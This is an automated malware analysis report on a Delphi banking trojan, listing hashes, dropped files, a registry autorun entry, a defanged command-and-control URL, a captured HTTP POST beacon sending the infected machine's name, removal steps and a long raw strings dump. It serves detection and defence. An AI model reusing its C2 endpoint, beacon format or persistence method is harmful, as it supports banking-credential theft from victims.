HEUR:Trojan.Win32.Generic (Kaspersky), Gen:Variant.Graftor.308597 (B) (Emsisoft), Gen:Variant.Graftor.308597 (AdAware), Trojan.Win32.Delphi.FD, Trojan.Win32.Sasfis.FD, VirTool.Win32.DelfInject.FD, BankerGeneric.YR (Lavasoft MAS)Behaviour: Banker, Trojan, VirTool
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 8a5a8481e77e2d0a2ee7e62729a32394
SHA1: 379ac78d3c9c838caaa15f17047364afcbaa8330
SHA256: 459e4a83e539de5e610ff7e5fa9835de1f270585571fe2455b573e6fb6bace7e
SSDeep: 98304:jbRb3zLPqIBW2wfKC2pekSmFskNpqP jx:/hjLPqwWzCwkTFs7P
Size: 4536832 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: BorlandDelphi30, BorlandDelphiv30, UPolyXv05_v6
Company: PCUtilities Software Limited
Created at: 1992-06-20 01:22:17
Analyzed on: Windows7 SP1 32-bit
Summary: Banker. Steals data relating to online banking systems, e-payment systems and credit card systems.
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):
%original file name%.exe:2604
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:2604 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\Users\"%CurrentUserName%"\AppData\AppDIxv.exe (32763 bytes)
C:\Users\"%CurrentUserName%"\AppData\lip.dll (8 bytes)
Registry activity
The process %original file name%.exe:2604 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"IntToStX" = "C:\Users\"%CurrentUserName%"\AppData\AppDIxv.exe"
Dropped PE files
There are no dropped PE files.
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
C:\Users\"%CurrentUserName%"\AppData\AppDIxv.exe (32763 bytes)
C:\Users\"%CurrentUserName%"\AppData\lip.dll (8 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"IntToStX" = "C:\Users\"%CurrentUserName%"\AppData\AppDIxv.exe" - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name: DvvX, GGv
Product Name:
Product Version: 1.0.0.0
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 1.4.0.6
File Description:
Comments:
Language: Chinese (Simplified, PRC)
Company Name: DvvX, GGvProduct Name: Product Version: 1.0.0.0Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: 1.4.0.6File Description: Comments: Language: Chinese (Simplified, PRC)
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
CODE | 4096 | 886660 | 886784 | 4.55696 | 7806646670f98a8b5e20f9c6a6699900 |
DATA | 892928 | 29384 | 29696 | 4.27177 | 2878a16725ad2e1084dac355430eaad0 |
BSS | 925696 | 6077 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
.idata | 933888 | 10494 | 10752 | 3.37837 | 1c8a00dbbcc3fd8720518d2d049f57ab |
.tls | 946176 | 16 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
.rdata | 950272 | 24 | 512 | 0.140718 | b203721c7f6e1453d3818834b9dd3d77 |
.reloc | 954368 | 60900 | 60928 | 4.61932 | 357353c2d10ab9d4fccb28a31c8fb8b3 |
.rsrc | 1015808 | 3547136 | 3547136 | 5.46348 | 221212ca8f2f4a0e18f883ef9de84150 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://ville-bazas.fr/components/com_positions/wab.php | |
hxxp://www.ville-bazas.fr/components/com_positions/wab.php | 213.186.33.2 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
POST /components/com_positions/wab.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Host: VVV.ville-bazas.fr
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)
tipo=cli&cli=WIN-UK0FFOO83I6&
HTTP/1.1 200 OK
Set-Cookie: 90planBAK=R698934137; path=/; expires=Mon, 31-Oct-2016 18:04:05 GMT
Date: Mon, 31 Oct 2016 16:58:23 GMT
Content-Type: text/html
Connection: close
Set-Cookie: 90plan=R3276172981; path=/; expires=Mon, 31-Oct-2016 18:04:05 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding
OK..
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_2604:
.idata
.idata
.rdata
.rdata
P.reloc
P.reloc
P.rsrc
P.rsrc
kernel32.dll
kernel32.dll
Windows
Windows
MSWHEEL_ROLLMSG
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
MSH_SCROLL_LINES_MSG
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
oleaut32.dll
oleaut32.dll
EVariantBadIndexError
EVariantBadIndexError
ssShift
ssShift
htKeyword
htKeyword
EInvalidOperation
EInvalidOperation
u%CNu
u%CNu
%s[%d]
%s[%d]
%s_%d
%s_%d
EInvalidGraphicOperation
EInvalidGraphicOperation
TPictureXEB
TPictureXEB
comctl32.dll
comctl32.dll
USER32.DLL
USER32.DLL
uxtheme.dll
uxtheme.dll
Proportional
Proportional
MAPI32.DLL
MAPI32.DLL
PasswordChard
PasswordChard
OnKeyDown
OnKeyDown
OnKeyPressh
OnKeyPressh
OnKeyUp
OnKeyUp
ssHorizontal
ssHorizontal
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
JumpID("","%s")
JumpID("","%s")
TKeyEvent
TKeyEvent
TKeyPressEvent
TKeyPressEvent
HelpKeywordH
HelpKeywordH
crSQLWait
crSQLWait
%s (%s)
%s (%s)
imm32.dll
imm32.dll
AutoHotkeys
AutoHotkeys
ssHotTrack
ssHotTrack
TWindowState
TWindowState
poProportional
poProportional
TWMKey
TWMKey
KeyPreviewx
KeyPreviewx
WindowState
WindowState
tagMSG
tagMSG
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
vcltest3.dll
vcltest3.dll
User32.dll
User32.dll
TDXTCPClient
TDXTCPClient
1.2.3
1.2.3
OnActionExecutel
OnActionExecutel
getservbyport
getservbyport
WSAAsyncGetServByPort
WSAAsyncGetServByPort
WSAJoinLeaf
WSAJoinLeaf
WS2_32.DLL
WS2_32.DLL
127.0.0.1
127.0.0.1
TIdSocketListWindows
TIdSocketListWindows
TIdStackWindowsU
TIdStackWindowsU
IdStackWindows
IdStackWindows
%s, %d %s %d %s %s
%s, %d %s %d %s %s
password
password
Password
Password
IdHTTPHeaderInfo
IdHTTPHeaderInfo
ProxyPasswordT
ProxyPasswordT
ProxyPort
ProxyPort
Mozilla/3.0 (compatible; Indy Library)
Mozilla/3.0 (compatible; Indy Library)
ftpTransfer
ftpTransfer
ftpReady
ftpReady
ftpAborted
ftpAborted
ClientPortMinT
ClientPortMinT
ClientPortMax
ClientPortMax
Port
Port
EIdCanNotBindPortInRange
EIdCanNotBindPortInRange
EIdInvalidPortRangeSVW
EIdInvalidPortRangeSVW
libeay32.dll
libeay32.dll
ssleay32.dll
ssleay32.dll
SSL_CTX_use_PrivateKey_file
SSL_CTX_use_PrivateKey_file
SSL_CTX_use_certificate_file
SSL_CTX_use_certificate_file
SSL_get_peer_certificate
SSL_get_peer_certificate
SSL_CTX_set_default_passwd_cb
SSL_CTX_set_default_passwd_cb
SSL_CTX_set_default_passwd_cb_userdata
SSL_CTX_set_default_passwd_cb_userdata
SSL_CTX_check_private_key
SSL_CTX_check_private_key
X509_STORE_CTX_get_current_cert
X509_STORE_CTX_get_current_cert
des_set_key
des_set_key
saUsernamePassword
saUsernamePassword
PasswordT
PasswordT
0.0.0.1
0.0.0.1
TIdTCPConnection
TIdTCPConnection
TIdTCPConnectionX
TIdTCPConnectionX
IdTCPConnection
IdTCPConnection
EIdTCPConnectionError
EIdTCPConnectionError
sslvrfFailIfNoPeerCert
sslvrfFailIfNoPeerCert
TPasswordEvent
TPasswordEvent
Certificate
Certificate
RootCertFile
RootCertFile
CertFile
CertFile
KeyFile
KeyFile
OnGetPassword
OnGetPassword
EIdOSSLLoadingRootCertErrorL
EIdOSSLLoadingRootCertErrorL
EIdOSSLLoadingCertError
EIdOSSLLoadingCertError
EIdOSSLLoadingKeyError
EIdOSSLLoadingKeyError
TIdTCPClient
TIdTCPClient
IdTCPClient
IdTCPClient
BoundPort
BoundPort
PortU
PortU
CommentURL
CommentURL
TIdHTTPMethod
TIdHTTPMethod
IdHTTP
IdHTTP
TIdHTTPOption
TIdHTTPOption
TIdHTTPOptions
TIdHTTPOptions
TIdHTTPProtocolVersion
TIdHTTPProtocolVersion
TIdHTTPOnRedirectEvent
TIdHTTPOnRedirectEvent
TIdHTTPResponse
TIdHTTPResponse
TIdHTTPRequest
TIdHTTPRequest
TIdHTTPRequestl
TIdHTTPRequestl
TIdHTTPProtocol
TIdHTTPProtocol
TIdCustomHTTP
TIdCustomHTTP
TIdHTTPh
TIdHTTPh
TIdHTTP
TIdHTTP
HTTPOptions
HTTPOptions
EIdHTTPProtocolException
EIdHTTPProtocolException
application/x-www-form-urlencoded
application/x-www-form-urlencoded
HTTPS
HTTPS
https
https
This request method is supported in HTTP 1.1
This request method is supported in HTTP 1.1
HTTP/1.0 200 OK
HTTP/1.0 200 OK
HTTP/
HTTP/
TSQLTimeStampVariantType
TSQLTimeStampVariantType
TSQLTimeStampData
TSQLTimeStampData
SqlTimSt
SqlTimSt
Uh.XH
Uh.XH
ole32.dll
ole32.dll
SQLTimeStamp
SQLTimeStamp
Password
Password
TLoginDialog
TLoginDialog
TPasswordDialog
TPasswordDialog
brOpera
brOpera
ddWeb
ddWeb
APassword
APassword
tmURL
tmURL
ExecCmd
ExecCmd
InvalidCommandURL
InvalidCommandURL
SSLCertificatePasswordT
SSLCertificatePasswordT
SSLPort
SSLPort
StartCmd
StartCmd
SupportedBrowsers
SupportedBrowsers
TimeoutURL
TimeoutURL
*.tmp
*.tmp
SupportedBrowsersd^J
SupportedBrowsersd^J
5.0.43
5.0.43
/js/IWCommon.js
/js/IWCommon.js
/js/IWGecko.js
/js/IWGecko.js
/js/IWExplorer.js
/js/IWExplorer.js
/js/IWCSData.js
/js/IWCSData.js
/js/IWCL.js
/js/IWCL.js
{return parent.SubmitClick(objname, param, ADoValidation);}
{return parent.SubmitClick(objname, param, ADoValidation);}
document.body.leftMargin = 0;
document.body.leftMargin = 0;
document.body.topMargin = 0;
document.body.topMargin = 0;
InitRects(%d, %d);
InitRects(%d, %d);
.src="
.src="
if (document.body.leftMargin
if (document.body.leftMargin
document.body.leftMargin = 0;
document.body.leftMargin = 0;
document.body.topMargin = 0;
document.body.topMargin = 0;
").focus();
").focus();
){window.alert("
){window.alert("
var GURLBase="
var GURLBase="
history.go(1);
history.go(1);
IWCL.Item != null) {
IWCL.Item != null) {
IWCL.SetAlign(
IWCL.SetAlign(
IWCL.SetAnchors(new CreateAnchors(
IWCL.SetAnchors(new CreateAnchors(
12090802
12090802
Portable Network Graphics
Portable Network Graphics
e0KeyPress
e0KeyPress
codigo.png
codigo.png
TMonochromeLookup
TMonochromeLookup
55828280
55828280
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
inflate 1.2.3 Copyright 1995-2005 Mark Adler
inflate 1.2.3 Copyright 1995-2005 Mark Adler
?456789:;
?456789:;
!"#$%&'()* ,-./0123
!"#$%&'()* ,-./0123
1iu2.iu
1iu2.iu
user32.dll
user32.dll
GetKeyboardType
GetKeyboardType
advapi32.dll
advapi32.dll
RegOpenKeyExA
RegOpenKeyExA
RegCloseKey
RegCloseKey
RegFlushKey
RegFlushKey
RegCreateKeyExA
RegCreateKeyExA
GetCPInfo
GetCPInfo
version.dll
version.dll
gdi32.dll
gdi32.dll
SetViewportOrgEx
SetViewportOrgEx
keybd_event
keybd_event
UnhookWindowsHookEx
UnhookWindowsHookEx
SetWindowsHookExA
SetWindowsHookExA
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
MapVirtualKeyA
MapVirtualKeyA
LoadKeyboardLayoutA
LoadKeyboardLayoutA
GetKeyboardState
GetKeyboardState
GetKeyboardLayoutList
GetKeyboardLayoutList
GetKeyboardLayout
GetKeyboardLayout
GetKeyState
GetKeyState
GetKeyNameTextA
GetKeyNameTextA
GetAsyncKeyState
GetAsyncKeyState
ExitWindowsEx
ExitWindowsEx
EnumWindows
EnumWindows
EnumThreadWindows
EnumThreadWindows
ActivateKeyboardLayout
ActivateKeyboardLayout
shell32.dll
shell32.dll
wsock32.dll
wsock32.dll
winmm.dll
winmm.dll
> >$>(>,>0>
> >$>(>,>0>
8!8%8)8-8185898
8!8%8)8-8185898
1*101@1&2-2
1*101@1&2-2
2 3/33373?3
2 3/33373?3
: :$:(:,:0:
: :$:(:,:0:
8!848
8!848
7*8.828:8@8
7*8.828:8@8
1 1*10181
1 1*10181
4$5(5,505
4$5(5,505
3 3$3(3,3
3 3$3(3,3
1 1$1(1,1014181
1 1$1(1,1014181
3 3$3(3,303
3 3$3(3,303
1(181_1{1
1(181_1{1
4'40474!5(5
4'40474!5(5
2 2$2(2,2024282
2 2$2(2,2024282
1-1b1}1
1-1b1}1
11Q1\1f1q1
11Q1\1f1q1
2(2@2]2|2
2(2@2]2|2
333333333333333333
333333333333333333
33333833
33333833
3333339
3333339
3333333333333338
3333333333333338
:*"*"$3338
:*"*"$3338
3333333
3333333
33333333
33333333
33333333333
33333333333
3333333333338
3333333333338
33338?383
33338?383
333333333333
333333333333
:*3:"$3338
:*3:"$3338
333333333333333
333333333333333
"%UUU""
"%UUU""
""""""""""$DDDDDDD""UUUUUUUR"""""""""""DDDDDDDB"%UUUUUUU""""""""""
""""""""""$DDDDDDD""UUUUUUUR"""""""""""DDDDDDDB"%UUUUUUU""""""""""
%UUUUUUU"
%UUUUUUU"
""#2"3"""
""#2"3"""
$"#2"3"%"
$"#2"3"%"
"""3#2"""
"""3#2"""
$""3#2"%"
$""3#2"%"
"""#3""""
"""#3""""
$""#3""%"
$""#3""%"
""""""""""%UUUUUUU""DDDDDDDB
""""""""""%UUUUUUU""DDDDDDDB
""""""""""%UUUUUUU""DDDDDDDB"""""""""""UUUUUUUR"$DDDDDDD""""""""""
""""""""""%UUUUUUU""DDDDDDDB"""""""""""UUUUUUUR"$DDDDDDD""""""""""
% ) CmDEpsMOab
% ) CmDEpsMOab
'2699640**
'2699640**
33333333333333
33333333333333
337373?3
337373?3
333373?33
333373?33
33333337
33333337
3733333
3733333
3337333
3337333
3333373
3333373
3737333
3737333
373333?3
373333?3
3333333333
3333333333
333333333
333333333
333?33?333
333?33?333
333373?3
333373?3
33333333330
33333333330
"66DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD6666/"!
"66DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD6666/"!
66DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD6666/"!
66DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD6666/"!
?===>=>)=>(9"/
?===>=>)=>(9"/
'99(999:99770
'99(999:99770
""""3333""""
""""3333""""
fQTv....Rtlb
fQTv....Rtlb
:1 =;;= 1
:1 =;;= 1
===8:] ==;= 1
===8:] ==;= 1
:#==;= 1
:#==;= 1
::';;= 1
::';;= 1
:::'=;= 1
:::'=;= 1
*=== - ==;= 1
*=== - ==;= 1
== .- =;;= 1
== .- =;;= 1
#&'7'61=;= 1
#&'7'61=;= 1
%,./0000/0.-,%
%,./0000/0.-,%
*-....-..--*
*-....-..--*
$),,---.,-,)($
$),,---.,-,)($
%(*)))),)(%
%(*)))),)(%
}?|}?|}?|}?|}?|
}?|}?|}?|}?|}?|
"""!"""@
"""!"""@
3331333@
3331333@
0000000000
0000000000
00000000003
00000000003
60??0000
60??0000
...???0000?
...???0000?
000000000000
000000000000
0?.CPB@@iiggec\\Y@@!BBO 'P***C
0?.CPB@@iiggec\\Y@@!BBO 'P***C
.??0??...
.??0??...
.????0?.CCCC"mgec\\@@!BB 'P*CC'
.????0?.CCCC"mgec\\@@!BB 'P*CC'
.??00000??.Cc\Y@
.??00000??.Cc\Y@
00?.CP\@@BBO 'PC
00?.CP\@@BBO 'PC
C\\@@@!BB 'PP*CC.BO**PP OOOO 'PP**
C\\@@@!BB 'PP*CC.BO**PP OOOO 'PP**
U"""""Ã3333D"""""$
U"""""Ã3333D"""""$
#::""::#
#::""::#
33333330
33333330
%%%###==
%%%###==
=##%%%#/9
=##%%%#/9
%%%####%%####==
%%%####%%####==
]\[ZY/US*(%F
]\[ZY/US*(%F
66666666
66666666
..vEeeei4
..vEeeei4
2"""22%2"2"2"2"
2"""22%2"2"2"2"
555555555
555555555
3333""""#
3333""""#
B"""$DDDDDDD"""""""""""""""""""""""""%UUUUUUU""""Va
B"""$DDDDDDD"""""""""""""""""""""""""%UUUUUUU""""Va
fffffR"""%UUUUUUU""""(
fffffR"""%UUUUUUU""""(
11111111111
11111111111
000000000
000000000
7755555555555555
7755555555555555
1:
1:
{%CONTENT%}{%CONTENT%};t_clear.gif
;t_clear.gif
this.Draw = DynChartLegend_Draw;
this.Draw = DynChartLegend_Draw;
this.Div = ADiv;
this.Div = ADiv;
this.Width = AWidth;
this.Width = AWidth;
s = 'Legend - ' this.DataDescr '' '
';s = 'Legend - ' this.DataDescr '' '
for (i=0; i
for (i=0; i
'
' '' '' '''
' '' '' ''if (LColorIdx >= this.Colors.length) {LColorIdx = 0;}
if (LColorIdx >= this.Colors.length) {LColorIdx = 0;}
this.Div.innerHTML = s;
this.Div.innerHTML = s;
this.Draw = DynChart_Draw;
this.Draw = DynChart_Draw;
this.Data = AData;
this.Data = AData;
this.ColNames = AColNames;
this.ColNames = AColNames;
this.Colors = AColors;
this.Colors = AColors;
this.VertData = AVertData;
this.VertData = AVertData;
this.HorzData = AHorzData;
this.HorzData = AHorzData;
this.Legend = ALegend;
this.Legend = ALegend;
this.Func = AFunc;
this.Func = AFunc;
var LHeight = this.Div.style.pixelHeight;
var LHeight = this.Div.style.pixelHeight;
var LWidth = this.Div.style.pixelWidth;
var LWidth = this.Div.style.pixelWidth;
for (i = 0; i
for (i = 0; i
if (AData[i].toUpperCase() == AName.toUpperCase())
if (AData[i].toUpperCase() == AName.toUpperCase())
AArray[1] = Math.min(AArray[1], AData);
AArray[1] = Math.min(AArray[1], AData);
AArray[1] = Math.max(AArray[1], AData);
AArray[1] = Math.max(AArray[1], AData);
LHorzIdx = FindCol(this.HorzData, this.ColNames);
LHorzIdx = FindCol(this.HorzData, this.ColNames);
LVertIdx = FindCol(this.VertData, this.ColNames);
LVertIdx = FindCol(this.VertData, this.ColNames);
j = FindHorz(this.Data[i][LHorzIdx], LData);
j = FindHorz(this.Data[i][LHorzIdx], LData);
LData[LData.length] = new Array(this.Data[i][LHorzIdx], 0, 0);
LData[LData.length] = new Array(this.Data[i][LHorzIdx], 0, 0);
j = LData.length - 1;
j = LData.length - 1;
eval('chartfunc_' this.Func '(LData[j], this.Data[i][LVertIdx])');
eval('chartfunc_' this.Func '(LData[j], this.Data[i][LVertIdx])');
for (i=0; i
for (i=0; i
eval('chartpostfunc_' this.Func '(LData[i])');
eval('chartpostfunc_' this.Func '(LData[i])');
var LColWidth = Math.floor(LWidth / (LData.length));
var LColWidth = Math.floor(LWidth / (LData.length));
var LBarWidth = Math.floor(LColWidth / 2);
var LBarWidth = Math.floor(LColWidth / 2);
var LBarOffset = Math.floor((LColWidth - LBarWidth) / 2);
var LBarOffset = Math.floor((LColWidth - LBarWidth) / 2);
LMaxColValue = Math.max(LMaxColValue, LData[i][1]);
LMaxColValue = Math.max(LMaxColValue, LData[i][1]);
LBarHeight = Math.floor(LData[i][1] * LColSegHeight);
LBarHeight = Math.floor(LData[i][1] * LColSegHeight);
, this.Colors[LColorIdx ], LData[i][1]);
, this.Colors[LColorIdx ], LData[i][1]);
if (LColorIdx >= this.Colors.length)
if (LColorIdx >= this.Colors.length)
if (this.Legend != null) {
if (this.Legend != null) {
this.Legend.Data = LData;
this.Legend.Data = LData;
this.Legend.Colors = this.Colors;
this.Legend.Colors = this.Colors;
this.Legend.DataDescr = this.ColNames[LHorzIdx];
this.Legend.DataDescr = this.ColNames[LHorzIdx];
this.Legend.Draw();
this.Legend.Draw();
this.Left = ALeft;
this.Left = ALeft;
this.Top = ATop;
this.Top = ATop;
this.Height = AHeight;
this.Height = AHeight;
return new Rect(ASrcRect.Left, ASrcRect.Top, ASrcRect.Width, ASrcRect.Height);
return new Rect(ASrcRect.Left, ASrcRect.Top, ASrcRect.Width, ASrcRect.Height);
this.Right = ARight;
this.Right = ARight;
this.Bottom = ABottom;
this.Bottom = ABottom;
/* this.Width = AWidth;
/* this.Width = AWidth;
this.OldWidth = AWidth;
this.OldWidth = AWidth;
this.OldHeight = AHeight; */
this.OldHeight = AHeight; */
this.Item = document.body;
this.Item = document.body;
this.Rect = new Rect(0, 0, AWidth, AHeight);
this.Rect = new Rect(0, 0, AWidth, AHeight);
this.OriginalRect = new Rect(0, 0, AWidth, AHeight);
this.OriginalRect = new Rect(0, 0, AWidth, AHeight);
this.OwnedComps = new Array();
this.OwnedComps = new Array();
this.UpdateRects = IWCL_UpdateRects;
this.UpdateRects = IWCL_UpdateRects;
var AItem = ns6 ? document.getElementById(AId): document.all[AId];
var AItem = ns6 ? document.getElementById(AId): document.all[AId];
if (!AItem.tagName) {
if (!AItem.tagName) {
LItem = LItem.Owner;
LItem = LItem.Owner;
LPoint.X = LItem.Rect.Left;
LPoint.X = LItem.Rect.Left;
LPoint.Y = LItem.Rect.Top;
LPoint.Y = LItem.Rect.Top;
LPoint = ClientToScreen(AControl.Owner, new Point(AControl.Owner.Rect.Left, AControl.Owner.Rect.Top));
LPoint = ClientToScreen(AControl.Owner, new Point(AControl.Owner.Rect.Left, AControl.Owner.Rect.Top));
ARect.Left = ARect.Left - LPoint.X;
ARect.Left = ARect.Left - LPoint.X;
ARect.Top = ARect.Top - LPoint.Y;
ARect.Top = ARect.Top - LPoint.Y;
LRect = new Rect(Item.offsetLeft, Item.offsetTop, Item.offsetWidth, Item.offsetHeight);
LRect = new Rect(Item.offsetLeft, Item.offsetTop, Item.offsetWidth, Item.offsetHeight);
this.Align = AAlign;
this.Align = AAlign;
this.Anchors = AAnchors;
this.Anchors = AAnchors;
this.FieldName = AFieldName;
this.FieldName = AFieldName;
this.DataSet = ADataSet;
this.DataSet = ADataSet;
ADataSet.OnChangeList[ADataSet.OnChangeList.length] = this;
ADataSet.OnChangeList[ADataSet.OnChangeList.length] = this;
this.DoOnChange(ADataSet);
this.DoOnChange(ADataSet);
this.SetIWCLTypeMehtodList[this.SetIWCLTypeMehtodList.length] = ASetIWCLTypeMethod
this.SetIWCLTypeMehtodList[this.SetIWCLTypeMehtodList.length] = ASetIWCLTypeMethod
this.SetOnChnage = ADataSet;
this.SetOnChnage = ADataSet;
this.DoOnChange = IWCL_LabelOnChage;
this.DoOnChange = IWCL_LabelOnChage;
this.DoOnChange = IWCL_DBNavigatorOnChage;
this.DoOnChange = IWCL_DBNavigatorOnChage;
for(i = 0; i
for(i = 0; i
this.SetIWCLTypeMehtodList[i](AType);
this.SetIWCLTypeMehtodList[i](AType);
AElement = LocateElement(this.Id);
AElement = LocateElement(this.Id);
layerWrite(this.Id, false, ADataSet.FieldByName(this.FieldName));
layerWrite(this.Id, false, ADataSet.FieldByName(this.FieldName));
AElement = LocateElement(this.Id 'IWCL_First');
AElement = LocateElement(this.Id 'IWCL_First');
if (ADataSet.BOF()) {
if (ADataSet.BOF()) {
AElement.src = this.First_Disabled;
AElement.src = this.First_Disabled;
AElement.src = this.First_Enabled;
AElement.src = this.First_Enabled;
AElement = LocateElement(this.Id 'IWCL_Last');
AElement = LocateElement(this.Id 'IWCL_Last');
if (ADataSet.EOF()) {
if (ADataSet.EOF()) {
AElement.src = this.Last_Disabled;
AElement.src = this.Last_Disabled;
AElement.src = this.Last_Enabled;
AElement.src = this.Last_Enabled;
AElement = LocateElement(this.Id 'IWCL_Next');
AElement = LocateElement(this.Id 'IWCL_Next');
AElement.src = this.Next_Disabled;
AElement.src = this.Next_Disabled;
AElement.src = this.Next_Enabled;
AElement.src = this.Next_Enabled;
AElement = LocateElement(this.Id 'IWCL_Prior');
AElement = LocateElement(this.Id 'IWCL_Prior');
AElement.src = this.Prior_Disabled;
AElement.src = this.Prior_Disabled;
AElement.src = this.Prior_Enabled;
AElement.src = this.Prior_Enabled;
AElement = LocateElement(this.Id 'IWCL_Refresh');
AElement = LocateElement(this.Id 'IWCL_Refresh');
AElement.src = this.Refresh_Enabled;
AElement.src = this.Refresh_Enabled;
AElement.src = this.Refresh_Disabled;
AElement.src = this.Refresh_Disabled;
var LPoint = new Point(ARect.Left, ARect.Top);
var LPoint = new Point(ARect.Left, ARect.Top);
this.Item.style.left = LPoint.X;
this.Item.style.left = LPoint.X;
this.Item.style.top = LPoint.Y;
this.Item.style.top = LPoint.Y;
if (ARect.Width != this.Rect.Width || ARect.Height != this.Rect.Height) {
if (ARect.Width != this.Rect.Width || ARect.Height != this.Rect.Height) {
this.Item.style.width = ARect.Width;
this.Item.style.width = ARect.Width;
this.Item.style.height = ARect.Height;
this.Item.style.height = ARect.Height;
this.Owner = AOwner;
this.Owner = AOwner;
this.Id = AId;
this.Id = AId;
this.Name = AName;
this.Name = AName;
this.Item = LocateElement(AId);
this.Item = LocateElement(AId);
if(this.Item != null) {
if(this.Item != null) {
this.Align = alNone;
this.Align = alNone;
this.Anchors = new CreateAnchors(true, false, true, false);
this.Anchors = new CreateAnchors(true, false, true, false);
this.OriginalRect = CreateRect(this);
this.OriginalRect = CreateRect(this);
this.Rect = CreateRect(this);
this.Rect = CreateRect(this);
this.SetAlign = IWCL_SetAlign;
this.SetAlign = IWCL_SetAlign;
this.SetAnchors = IWCL_SetAnchors;
this.SetAnchors = IWCL_SetAnchors;
this.SetDataSet = IWCL_SetDataSet;
this.SetDataSet = IWCL_SetDataSet;
this.SetFieldName = IWCL_SetFieldName;
this.SetFieldName = IWCL_SetFieldName;
this.SetOnChange = IWCL_SetOnChange;
this.SetOnChange = IWCL_SetOnChange;
this.DoOnChange = IWCL_OnChage;
this.DoOnChange = IWCL_OnChage;
this.SetIWCLType = IWCL_SetIWCLType;
this.SetIWCLType = IWCL_SetIWCLType;
this.SetIWCLTypeMehtodList = new Array();
this.SetIWCLTypeMehtodList = new Array();
this.SetRect = IWCL_SetRect;
this.SetRect = IWCL_SetRect;
this.OverrideIWCLType = IWCL_OverrideIWCLType;
this.OverrideIWCLType = IWCL_OverrideIWCLType;
this.UpdateTopLeft = IWCL_UpdateTopLeft;
this.UpdateTopLeft = IWCL_UpdateTopLeft;
this.Owner.OwnedComps[this.Owner.OwnedComps.length] = this;
this.Owner.OwnedComps[this.Owner.OwnedComps.length] = this;
return !(AAnchors.Left && AAnchors.Right && AAnchors.Top && !AAnchors.Bottom)
return !(AAnchors.Left && AAnchors.Right && AAnchors.Top && !AAnchors.Bottom)
return !(AAnchors.Left && AAnchors.Right && !AAnchors.Top && AAnchors.Bottom)
return !(AAnchors.Left && AAnchors.Right && !AAnchors.Top && AAnchors.Bottom)
return !(AAnchors.Left && !AAnchors.Right && AAnchors.Top && AAnchors.Bottom)
return !(AAnchors.Left && !AAnchors.Right && AAnchors.Top && AAnchors.Bottom)
return !(!AAnchors.Left && AAnchors.Right && AAnchors.Top && AAnchors.Bottom)
return !(!AAnchors.Left && AAnchors.Right && AAnchors.Top && AAnchors.Bottom)
return !(AAnchors.Left && !AAnchors.Right && AAnchors.Top && !AAnchors.Bottom)
return !(AAnchors.Left && !AAnchors.Right && AAnchors.Top && !AAnchors.Bottom)
LNewHeight = AControl.Rect.Height;
LNewHeight = AControl.Rect.Height;
LNewWidth = AControl.Rect.Width;
LNewWidth = AControl.Rect.Width;
LNewTop = AControl.Rect.Top;
LNewTop = AControl.Rect.Top;
LNewLeft = AControl.Rect.Left;
LNewLeft = AControl.Rect.Left;
if (AAlign == alNone || CustomAnchors(AControl.Anchors, AAlign)) {
if (AAlign == alNone || CustomAnchors(AControl.Anchors, AAlign)) {
with (AControl.Anchors) {
with (AControl.Anchors) {
